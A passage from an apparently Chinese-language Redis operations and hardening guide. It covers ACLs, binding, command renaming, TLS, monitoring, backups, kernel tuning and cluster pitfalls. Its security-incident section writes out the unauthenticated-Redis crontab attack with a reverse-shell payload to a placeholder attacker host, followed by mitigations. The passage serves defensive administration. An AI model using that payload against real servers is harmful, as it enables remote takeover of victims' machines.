user readonly_user on #abc123... ~* +@read -@write
user app_user on #def456... ~user:* +@all

权限分类:

权限类别 说明
+@all 所有命令
+@read 只读命令
+@write 写命令
+@admin 管理命令
+@dangerous 危险命令(KEYS、FLUSHALL 等)
-command 禁用指定命令
~pattern 允许访问的 key 模式

3. 绑定限制

# redis.conf
bind 127.0.0.1 10.0.1.100    # 仅本地和内网 IP
# 或 bind 0.0.0.0 配合防火墙使用

4. 保护模式

protected-mode yes   # 默认 yes,无密码 + 未 bind 本地时拒绝外部连接

5. 命令禁用/重命名

# redis.conf

# 彻底禁用危险命令
rename-command KEYS ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""

# 或重命名为只有运维知道的随机后缀
rename-command SHUTDOWN SHUTDOWN_a3f8b2
rename-command DEBUG DEBUG_x7k2m1

# 保留 CONFIG 但限制为只读
rename-command CONFIG CONFIG_b9d1e0

6. 防火墙

# iptables 示例
iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP

7. 非 root 运行

# 创建专用 redis 用户
useradd -r -s /sbin/nologin redis
chown -R redis:redis /data/redis /var/log/redis

# systemd 或 supervisor 中以 redis 用户启动

8. 非默认端口

port 16379   # 改为非标准端口,降低被扫描的概率

9. TLS/SSL (Redis 6.0+)

# redis.conf
tls-port 6380
tls-cert-file /etc/redis/tls/redis.crt
tls-key-file /etc/redis/tls/redis.key
tls-ca-cert-file /etc/redis/tls/ca.crt
tls-auth-clients optional           # optional / yes / no

客户端连接:

redis-cli --tls \
  --cert /etc/redis/tls/client.crt \
  --key /etc/redis/tls/client.key \
  --cacert /etc/redis/tls/ca.crt \
  -p 6380

10. 网络隔离

  • 将 Redis 部署在独立的 VPC / 子网中。
  • 仅允许业务应用所在的子网访问 Redis 子网。
  • 使用安全组精确控制入站规则。

6.3 🚨 安全漏洞案例

反弹 Shell 攻击

攻击者利用未认证的 Redis 写入 crontab 实现反弹 shell:

# 1. 连接无密码的 Redis
redis-cli -h victim_ip

# 2. 设置持久化目录和文件名
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root

# 3. 写入 crontab 内容
SET payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1\n\n"

# 4. 保存
SAVE

防范

  • 禁用 CONFIGrename-command CONFIG ""
  • 非 root 运行(无权写入系统目录)
  • 开启密码认证
  • 防火墙仅允许内网访问

7. 监控

7.1 核心监控指标

类别 指标 获取方式 关注阈值
连接 connected_clients INFO clients > 80% maxclients
QPS instantaneous_ops_per_sec INFO stats 观察趋势和突刺
命中率 keyspace_hits/(hits+misses) INFO stats < 90% 需优化
内存 used_memory_rss INFO memory > 80% maxmemory
碎片率 mem_fragmentation_ratio INFO memory > 1.5 关注,> 2 告警
过期 expired_keys 增长趋势 INFO stats 突增表示大量过期
淘汰 evicted_keys INFO stats > 0 表示内存不足,已触发淘汰
复制 master_link_status INFO replication down 表示同步断开
复制延迟 master_last_io_seconds_ago INFO replication > 10s 告警
阻塞客户端 blocked_clients INFO clients > 0 需关注(BLPOP 等等待)
RDB 状态 rdb_last_bgsave_status INFO persistence err 备份失败
慢查询 条数 SLOWLOG LEN > 100/min 告警
CPU used_cpu_sys / used_cpu_user INFO cpu > 80% 单核需排查

关键指标详解

keyspace_hits = 95,000,000
keyspace_misses = 5,000,000
命中率 = 95000000 / (95000000 + 5000000) = 95%

💡 命中率低的原因排查:

  • 内存不足导致淘汰
  • 过期策略导致 key 提前失效
  • 业务逻辑错误(查了不存的 key)
  • 缓存预热不充分

7.2 监控工具

工具 能力 适用场景
redis-cli --stat 实时打印 QPS、内存、命中率等 快速排查
redis-cli --latency 测量客户端到 Redis 的平均/最大/最小延迟 延迟排查
redis-cli --latency-history 持续监控延迟并绘制分布 延迟趋势观察
RedisInsight Redis 官方 GUI:内存分析、慢查询、集群拓扑 日常运维管理
Prometheus + Grafana redis_exporter + Dashboard 模板 生产监控标准方案
ELK 将慢查询日志 + 系统日志导入 ES 日志聚合分析
云厂商监控 阿里云 DAS、腾讯云 DBbrain 托管 Redis 场景

Prometheus + Grafana 搭建

# docker-compose.yml
version: '3'
services:
  redis_exporter:
    image: oliver006/redis_exporter:latest
    environment:
      - REDIS_ADDR=redis://10.0.1.100:6379
      - REDIS_PASSWORD=your_password
    ports:
      - "9121:9121"

Grafana Dashboard 推荐:

  • Dashboard ID 763(Redis Dashboard for Prometheus Redis Exporter)——社区最流行。
  • Dashboard ID 11835(更细粒度的 Redis 监控面板)。

redis-cli 快速诊断

# 实时统计
redis-cli -h 127.0.0.1 -p 6379 --stat

# 延迟监控 (Ctrl+C 停止)
redis-cli -h 127.0.0.1 -p 6379 --latency

# 延迟历史 (每 15 秒输出一次)
redis-cli -h 127.0.0.1 -p 6379 --latency-history

# 延迟分布 (采样并统计分位值)
redis-cli -h 127.0.0.1 -p 6379 --latency-dist

7.3 告警阈值建议

告警项 阈值 级别
内存使用率 > 80% Warning P2
内存使用率 > 95% Critical P1
连接数 > 80% maxclients Warning P2
连接数 > 95% maxclients Critical P1
缓存命中率 < 90% Warning P3
缓存命中率 < 80% Critical P2
碎片率 > 2.0 Warning P3
主从延迟 > 10s Warning P2
主从延迟 > 60s Critical P1
有 key 被淘汰(evicted_keys 增长) Warning P2
慢查询 > 100 条/分钟 Warning P3
RDB 备份失败 Critical P1
主从复制断开 Critical P1
进程 down Critical P0

8. 备份与恢复

8.1 备份策略

RDB 自动备份

# crontab 示例

# 每小时的 0 分钟执行 BGSAVE
0 * * * * /usr/local/bin/redis-cli -h 127.0.0.1 -p 6379 -a your_password bgsave >> /var/log/redis/backup.log 2>&1

# 每天凌晨 3 点将 RDB 文件备份到远程存储(异地)
0 3 * * * cp /data/redis/dump.rdb /backup/redis/dump.$(date +\%Y\%m\%d).rdb && \
          echo "Backup completed: $(date +\%Y\%m\%d)" >> /var/log/redis/backup.log

# 每天凌晨 4 点将备份同步到对象存储
0 4 * * * /usr/local/bin/ossutil cp /backup/redis/dump.$(date +\%Y\%m\%d).rdb \
          oss://my-backup-bucket/redis/$(date +\%Y\%m\%d)/dump.rdb >> /var/log/redis/backup.log 2>&1

AOF 备份

# 每小时的 15 分钟执行 AOF rewrite(如果碎片率高)
15 * * * * /usr/local/bin/redis-cli -h 127.0.0.1 -p 6379 -a your_password \
          BGREWRITEAOF >> /var/log/redis/backup.log 2>&1

💡 备份保留策略

# 保留周期建议
/backup/redis/
├── daily/
│   ├── dump.20260709.rdb
│   ├── dump.20260710.rdb
│   └── dump.20260711.rdb       # 最近 7 天
├── weekly/
│   ├── dump.202607_w1.rdb
│   └── dump.202607_w2.rdb      # 最近 4 周
└── monthly/
    └── dump.202606.rdb          # 最近 12 个月

清理脚本示例:

#!/bin/bash
# 删除 7 天前的每日备份
find /backup/redis/daily/ -name "dump.*.rdb" -mtime +7 -delete
# 删除 30 天前的每周备份
find /backup/redis/weekly/ -name "dump.*.rdb" -mtime +30 -delete

8.2 恢复流程

1. 停止写入(或切换流量到备节点)
       │
       ▼
2. 停止 Redis 服务
   systemctl stop redis
       │
       ▼
3. 替换 RDB/AOF 文件
   cp /backup/redis/dump.20260711.rdb /data/redis/dump.rdb
       │
       ▼
4. 启动 Redis
   systemctl start redis
       │
       ▼
5. 验证数据
   redis-cli INFO keyspace
   redis-cli DBSIZE
   抽查关键业务 key 是否存在且正确
       │
       ▼
6. 恢复写入 / 切回流量

🚨 注意事项:

  • 恢复前务必确认当前 /data/redis/ 中的旧文件已备份,以便失败时回滚。
  • 如果混用 RDB + AOF,启动时优先加载 AOF(数据更完整)。如果需要从 RDB 恢复,需先删除或搬走 AOF 文件。
  • 主从架构中:先恢复主节点,再触发从节点全量同步。

8.3 恢复演练

# 在测试环境定期执行恢复演练脚本

#!/bin/bash
BACKUP_FILE=$1
TEST_REDIS_PORT=6380

# 1. 停止测试实例
redis-cli -p $TEST_REDIS_PORT -a test_pass SHUTDOWN NOSAVE

# 2. 清空测试数据目录
rm -f /data/redis_test/dump.rdb /data/redis_test/appendonly.aof

# 3. 复制备份
cp $BACKUP_FILE /data/redis_test/dump.rdb

# 4. 启动测试实例
redis-server /etc/redis/redis_test.conf --port $TEST_REDIS_PORT

# 5. 等待启动完成
sleep 5

# 6. 验证
KEY_COUNT=$(redis-cli -p $TEST_REDIS_PORT -a test_pass DBSIZE)
echo "Recovered key count: $KEY_COUNT"

# 7. 验证 RDB 文件完整性(离线检查)
redis-check-rdb $BACKUP_FILE
REDIS_CHECK_EXIT=$?

if [ $REDIS_CHECK_EXIT -ne 0 ]; then
    echo "RDB file is corrupted: $BACKUP_FILE"
    exit 1
fi

echo "Recovery drill completed successfully"

检查 AOF 文件完整性

redis-check-aof --fix /data/redis/appendonly.aof

--fix 会截断 AOF 尾部不完整的部分(可能导致丢失最后几条写操作)。先备份再修复。


9. 部署架构建议

9.1 部署模式选型

模式 QPS 上限 数据量上限 高可用 适用场景
单机 ~10 万/秒 < 机器内存 开发/测试
主从 ~10 万/秒(写),读可水平扩展 < 机器内存 手动切换 读写分离、读多写少
Sentinel ~10 万/秒 < 机器内存 自动故障转移 中小规模生产环境
Cluster 水平扩展 水平扩展(16384 个 slot) 自动故障转移 大规模生产、数据量大、高并发
Proxy(Codis/twemproxy) 水平扩展 水平扩展 依赖编排 需要跨 slot 操作、平滑迁移

单机 QPS 10 万是一个经验值,实际取决于 CPU、命令复杂度和 Pipeline 使用情况。简单 GET/SET 在优化良好时可达 10~15 万。

9.2 💡 部署最佳实践

硬件选择

  1. 不要和 CPU 密集型应用混布:Redis 是单线程(6.0 前),与其他 CPU 密集型应用竞争会导致 Redis 响应抖动。
  2. 不要和高磁盘 IO 应用混布:BGSAVE/AOF 重写会触发大量磁盘 IO。
  3. 使用 SSD:AOF 和 RDB 的持久化 + 写盘延迟对 HDD 是灾难,SSD 可将 fsync 延迟从几十 ms 降到 1ms 以内。
  4. 单实例内存 < 10 GBfork() 创建子进程时需要复制页表,内存越大 fork() 越慢。如果必须大于 10 GB,考虑采用 Cluster 分片。

fork 与 COW(Copy-On-Write)

┌──────────────────────────────────────────────────────────┐
│  BGSAVE 触发 → 父进程 fork() → 子进程                      │
│                                                          │
│  fork() 阶段(阻塞):                                      │
│    - 复制页表(不是数据本身)                                │
│    - 10GB 实例 fork 耗时约 100-500ms                       │
│    - 期间 Redis 主线程不处理任何请求                         │
│                                                          │
│  COW 阶段(不阻塞但消耗内存):                               │
│    - 父进程写入某页 → 内核先复制该页给子进程 → 父进程再写入     │
│    - 如果大量写入 → 大量 COW → 内存翻倍风险                   │
│    - 预留 30%-50% 内存给 COW                               │
└──────────────────────────────────────────────────────────┘

系统调优

# /etc/sysctl.conf

# 内存分配策略:允许 overcommit(Redis fork 需要)
vm.overcommit_memory = 1

# 尽量不 swap —— Redis 数据一旦 swap 出去,延迟从微秒变成毫秒
vm.swappiness = 1

# 增大全连接队列(高并发连接时)
net.core.somaxconn = 65535

# 增大半连接队列(防止 SYN flood 误伤)
net.ipv4.tcp_max_syn_backlog = 65535

# 允许更多的 TIME_WAIT 连接复用
net.ipv4.tcp_tw_reuse = 1
# 立即生效
sysctl -p

透明大页 (THP)

# 查看当前状态
cat /sys/kernel/mm/transparent_hugepage/enabled
# 输出: [always] madvise never

# 关闭(立即生效)
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag

# 永久关闭
# /etc/rc.local
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag

🔬 为什么 THP 对 Redis 是灾难:

  • Linux 透明大页会在后台异步地将 4KB 小页合并为 2MB 大页,这个过程会导致内存拷贝。
  • Redis 的 fork() + COW 模型中,如果 THP 在活跃地合并页,会导致 COW 时复制的页远多于实际需要修改的页(因为合并过程中已经移动了数据)。
  • 结果:fork() 延迟升高、内存占用暴增。

NUMA 优化

# 如果服务器有多个 NUMA 节点,使用 numactl 交错分配内存
numactl --interleave=all redis-server /etc/redis/redis.conf

🔬 NUMA 问题:Linux 默认在本地 NUMA 节点分配内存。如果 Redis 进程运行在一个 NUMA 节点,但数据量接近该节点的内存上限,就会触发 swap —— 即使其他 NUMA 节点还有空闲内存。interleave=all 强制在所有节点轮询分配。

连接队列

# redis.conf
tcp-backlog 511    # = somaxconn 和 tcp_max_syn_backlog 的较小值

确保这个值 <= net.core.somaxconn,否则会被内核截断。

9.3 系统优化参数汇总

# ===== /etc/sysctl.conf =====
vm.overcommit_memory = 1
vm.swappiness = 1
net.core.somaxconn = 65535
net.ipv4.tcp_max_syn_backlog = 65535
net.ipv4.tcp_tw_reuse = 1

# ===== /etc/security/limits.conf =====
redis  soft  nofile  65535
redis  hard  nofile  65535
redis  soft  nproc   65535
redis  hard  nproc   65535

# ===== /etc/rc.local =====
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag

# ===== 启动方式(systemd override)=====
# /etc/systemd/system/redis.service.d/override.conf
[Service]
ExecStart=
ExecStart=/usr/bin/numactl --interleave=all /usr/local/bin/redis-server /etc/redis/redis.conf
LimitNOFILE=65535

10. 客户端缓冲区管理

客户端缓冲区是 Redis 为每个客户端分配的输出缓冲区,用于暂存还没被客户端读取的响应数据。如果客户端读取慢或堆积了大量订阅消息(PubSub),输出缓冲区会不断膨胀直到 OOM。

三类缓冲区

缓冲区类型 说明 默认限制
输入缓冲区 接收客户端发送的命令 最大 1 GB(硬编码,不可配置)
普通客户端输出缓冲区 常规命令的响应 normal 0 0 0(无限制)⚠️
从节点客户端输出缓冲区 主节点发给从节点的复制数据 replica 256mb 64mb 60
PubSub 客户端输出缓冲区 订阅频道的消息 pubsub 32mb 8mb 60

配置说明

# redis.conf

# client-output-buffer-limit <class> <hard limit> <soft limit> <soft seconds>
#
# hard limit: 绝对上限,超过立即断开
# soft limit + soft seconds: 超过软限制并持续 N 秒后断开

client-output-buffer-limit normal 0 0 0
client-output-buffer-limit replica 256mb 64mb 60
client-output-buffer-limit pubsub 32mb 8mb 60

配置解读

  • normal 0 0 0:普通客户端无限制。如果某个客户端发起 LRANGE 0 -1 获取超大 List 但不读结果,输出缓冲区会膨胀到占满内存。🚨 建议设置一个合理的上限:
# 建议配置:硬限制 64MB,软限制 32MB 持续 60 秒
client-output-buffer-limit normal 64mb 32mb 60
  • replica 256mb 64mb 60:从节点复制缓冲区硬限制 256 MB。如果从节点长时间断开,复制积压数据超过 256 MB 后主节点会断开该从节点——恢复时必须全量同步。
  • pubsub 32mb 8mb 60:PubSub 客户端如果订阅了高吞吐频道但消费慢,超过限制后被强制断开。

查看客户端缓冲区

# 查看每个客户端的输出缓冲区占用
CLIENT LIST

# 输出中关注:omem=xxx  (output buffer memory)
# cmd=xxx  (last command)
# age=xxx  (connection age in seconds)

omem 是当前输出缓冲区的字节数。如果某个客户端 omem 持续增长且不回落,说明客户端消费能力跟不上。

🚨 常见场景:

  • 慢消费者:客户端处理每条响应耗时长(如写数据库),导致缓冲区堆积。
  • PubSub 泛滥:大量 SUBSCRIBE 后客户端断开连接异常,消息堆积。
  • 从节点复制中断后重连:积压数据量超过 replica 硬限制,被迫全量同步。

11. 集群运维注意

Redis Cluster 在生产中需要额外关注一些配置和行为。

关键配置

# redis.conf

# 节点间通信端口 = port + 10000(如 6379 → 16379)
# 确保防火墙放开这两个端口

# 节点超时时间
cluster-node-timeout 15000              # 默认 15 秒,可根据网络质量调整

# 是否要求所有 slot 都有节点负责
cluster-require-full-coverage no        # 建议设为 no

🚨 cluster-require-full-coverage yes(默认):只要有一个 slot 不可用,整个集群拒绝所有操作。在生产中,某个节点挂掉、重新分配 slot 期间,整个集群都会不可用。强烈建议设为 no——可用 slot 继续服务,不可用 slot 返回 CLUSTERDOWN

集群规模限制

  • 节点数 < 1000:Gossip 协议在节点间定期交换元数据,节点越多,带宽开销越大。Redis 官方建议单集群不超过 1000 个节点。
  • 避免单物理机过多节点:单机故障影响范围大。推荐每台物理机 1~2 个 Redis 实例。
  • Gossip 消息频率:每秒每个节点向随机几个其他节点发送 PING,规模 100 节点时,每秒约 1000 条 Gossip 消息,带宽约 1~2 Mbps,尚可接受。

集群操作注意事项

# 迁移 slot 时控制迁移速度(避免阻塞)
redis-cli --cluster reshard 127.0.0.1:6379 \
    --cluster-from node_id1 \
    --cluster-to node_id2 \
    --cluster-slots 1000 \
    --cluster-timeout 60000 \
    --cluster-pipeline 10          # pipeline 批量迁移,提升速度
  • 迁移期间源节点和目标节点的被迁移 key 处于锁定状态,但同一 slot 的其他 key 不受影响。
  • 建议在低峰期进行 slot 迁移,且每次迁移的 slot 数不要太多(1000~2000 个)。

多 key 操作限制

集群模式下,MGETMSETSUNION 等多 key 命令要求所有 key 在同一个 slot 中:

# 报错
MGET key1 key2
# (error) CROSSSLOT Keys in request don't hash to the same slot

# 正确:使用 hash_tag
MGET {user:1001}:name {user:1001}:age {user:1001}:email

集群监控要点

# 集群状态
CLUSTER INFO

# 节点列表
CLUSTER NODES

# Slot 分布
CLUSTER SLOTS

# 检查集群一致性
redis-cli --cluster check 127.0.0.1:6379

12. 🚨 常见陷阱

内存相关

陷阱 后果 解决方案
maxmemory=0(无限制) 内存耗尽 → OS OOM Killer 杀死 Redis 必须设置 maxmemory 并配置淘汰策略
未配置客户端输出缓冲区限制 慢消费客户端 → 输出缓冲区爆炸 → OOM 设置 client-output-buffer-limit normal 64mb 32mb 60
未开启 activedefrag 碎片率持续升高到 3+,内存利用率低 activedefrag yes
透明大页(THP)未关闭 fork() 延迟飙升,COW 内存倍增 echo never > /sys/kernel/mm/transparent_hugepage/enabled
vm.overcommit_memory=0 fork() 失败 → BGSAVE 失败 sysctl vm.overcommit_memory=1
单实例内存过大(> 20 GB) fork() 耗时秒级,阻塞请求 拆分为 Cluster 分片,单实例控制在 10 GB 以下
maxmemory-samples 过大 LRU/LFU 淘汰 CPU 占用高 建议 10,不要超过 20

命令相关

陷阱 后果 解决方案
未重命名/禁用 KEYSFLUSHALL 线上误操作或攻击导致服务不可用 rename-command KEYS ""
集群中未禁用 KEYS 跨节点 KEYS 导致遍历所有节点 同上 + 使用 SCAN
DEL 删除 Bigkey 主线程阻塞数秒 使用 UNLINK 或渐进式删除
HGETALL / SMEMBERS / LRANGE 0 -1 在大集合上 响应几百 ms,阻塞主线程 改用 HSCAN / SSCAN / LRANGE 0 99

持久化与备份相关

陷阱 后果 解决方案
多个 BGSAVE 同时执行 资源竞争,IO 飙升 避免 crontab 和自动触发重叠
AOF rewrite 期间磁盘 IO 飙升 请求延迟升高 设置 aof-rewrite-incremental-fsync yes(增量 fsync)
未定期验证备份文件 故障时发现 RDB 文件损坏 定期 redis-check-rdb 验证
恢复时 RDB 和 AOF 混用 启动后数据不正确 明确当前选择哪种持久化方案

配置相关

陷阱 后果 解决方案
cluster-require-full-coverage yes 单节点故障 → 整个集群不可用 设为 no
protected-mode no 且无密码 被公网扫描并攻击 保持 protected-mode yes 或开启密码
root 运行 Redis 被攻击后可写系统文件 创建专用 redis 用户
从节点 replica-read-only no 主从数据不一致 保持 yes
NUMA 未优化 单 NUMA 节点内存耗尽触发 swap numactl --interleave=all
swap 未限制 Redis 数据被 swap 后延迟从微秒变毫秒 vm.swappiness=1

集群相关

陷阱 后果 解决方案
hash_tag 滥用 热点 slot → 单节点压力过大 合理分散 tag,监控 slot 分布
单物理机过多节点 主机故障 → 大量分片同时不可用 每台物理机 1~2 个实例
cluster-node-timeout 过小 网络抖动导致不必要的故障转移 设置 ≥ 15 秒,根据网络质量调整

附录:运维检查清单

上线前检查

  • maxmemory 已设置且合理(小于物理内存 - 预留 COW 空间)
  • maxmemory-policy 已按业务场景选择
  • 密码已配置,且复杂度足够
  • bind 改为内网 IP,未监听 0.0.0.0(或配合防火墙)
  • protected-mode yes(有密码时可选,但建议保留)
  • KEYS / FLUSHALL / FLUSHDB / CONFIG 已禁用或重命名
  • rename-command 的随机后缀已记录到运维文档
  • 非 root 用户运行
  • 系统参数(THP、overcommit_memoryswappiness)已调优
  • 慢查询阈值设为 1ms(slowlog-log-slower-than 1000
  • slowlog-max-len 设为 1000
  • 客户端输出缓冲区限制已配置
  • cluster-require-full-coverage no(集群模式)
  • 备份脚本已部署且首次备份成功
  • 监控告警已配置(内存、命中率、连接数、复制状态)

日常巡检

  • INFO memory 检查碎片率
  • SLOWLOG LEN 检查慢查询增长
  • INFO stats 检查 evicted_keys 和命中率
  • INFO replication 检查主从延迟
  • 备份文件完整性(redis-check-rdb
  • 备份文件保留周期符合预期

故障处理速查

现象 优先检查
延迟突然升高 SLOWLOG GET 10LATENCY LATEST--latency
内存使用持续增长 MEMORY DOCTORINFO memory 碎片率 → 检查 bigkey
服务不可用(连接拒绝) systemctl status redisdmesg | grep -i oom → 磁盘空间
主从复制断开 INFO replication → 网络连通性 → 防火墙规则
QPS 突然下降 SLOWLOGINFO stats → CPU/内存/磁盘 IO
内存不足告警 evicted_keysmaxmemory → 是否需要扩容或调整策略